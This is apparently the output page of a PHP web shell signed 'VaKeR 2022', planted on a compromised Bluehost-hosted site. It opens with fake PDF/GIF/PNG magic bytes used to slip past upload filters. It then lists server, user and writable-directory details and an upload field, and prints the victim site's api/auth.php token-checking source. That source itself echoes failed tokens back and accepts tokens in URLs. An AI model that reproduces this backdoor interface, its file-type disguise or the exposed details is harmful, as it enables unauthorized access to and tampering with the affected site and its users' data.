%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/auth.php
<?php

if (!isset($conn)) {
    die("Database connection not found.");
}

if (!defined('BASE_URL')) {
    define('BASE_URL', 'https://dataduck.in/client-project/meatandgo/');
}

function auth_response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Read JSON Body
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

/*
|--------------------------------------------------------------------------
| Get Token From All Possible Sources
|--------------------------------------------------------------------------
*/

$token = '';

/* 1. GET / POST / Form Data */

if (!empty($_REQUEST['token'])) {
    $token = trim($_REQUEST['token']);
}

/* 2. Raw JSON */

if (empty($token) && !empty($json['token'])) {
    $token = trim($json['token']);
}

/* 3. Authorization Header */

if (empty($token)) {

    $headers = [];

    if (function_exists('getallheaders')) {
        $headers = getallheaders();
    }

    if (!empty($headers['Authorization'])) {

        $auth = trim($headers['Authorization']);

        if (stripos($auth, 'Bearer ') === 0) {
            $token = trim(substr($auth, 7));
        }
    }
}

/* 4. HTTP_AUTHORIZATION */

if (empty($token) && !empty($_SERVER['HTTP_AUTHORIZATION'])) {

    $auth = trim($_SERVER['HTTP_AUTHORIZATION']);

    if (stripos($auth, 'Bearer ') === 0) {
        $token = trim(substr($auth, 7));
    }
}

/* 5. REDIRECT_HTTP_AUTHORIZATION */

if (empty($token) && !empty($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) {

    $auth = trim($_SERVER['REDIRECT_HTTP_AUTHORIZATION']);

    if (stripos($auth, 'Bearer ') === 0) {
        $token = trim(substr($auth, 7));
    }
}

/*
|--------------------------------------------------------------------------
| Token Required
|--------------------------------------------------------------------------
*/

if (empty($token)) {

    auth_response(false, "Token Required", [

        "supported_methods" => [

            "Bearer Token (Recommended)",

            "Form Data" => [
                "token" => "YOUR_TOKEN"
            ],

            "Raw JSON" => [
                "token" => "YOUR_TOKEN"
            ],

            "GET URL" =>
            BASE_URL . "api/home.php?token=YOUR_TOKEN"
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Verify Token
|--------------------------------------------------------------------------
*/

$stmt = $conn->prepare("
    SELECT *
    FROM user
    WHERE api_token=?
    LIMIT 1
");

$stmt->bind_param("s", $token);
$stmt->execute();

$result = $stmt->get_result();

if ($result->num_rows == 0) {

    auth_response(false, "Invalid Token", [

        "received_token" => $token
    ]);
}

$auth_user = $result->fetch_assoc();

/*
|--------------------------------------------------------------------------
| User Variables Available Everywhere
|--------------------------------------------------------------------------
*/

$user_id   = $auth_user['id'];
$username  = $auth_user['username'];
$email     = $auth_user['email'];
$phone     = $auth_user['phone'];
$usertype  = $auth_user['usertype'];
$api_token = $auth_user['api_token'];

$stmt->close();

VaKeR 2022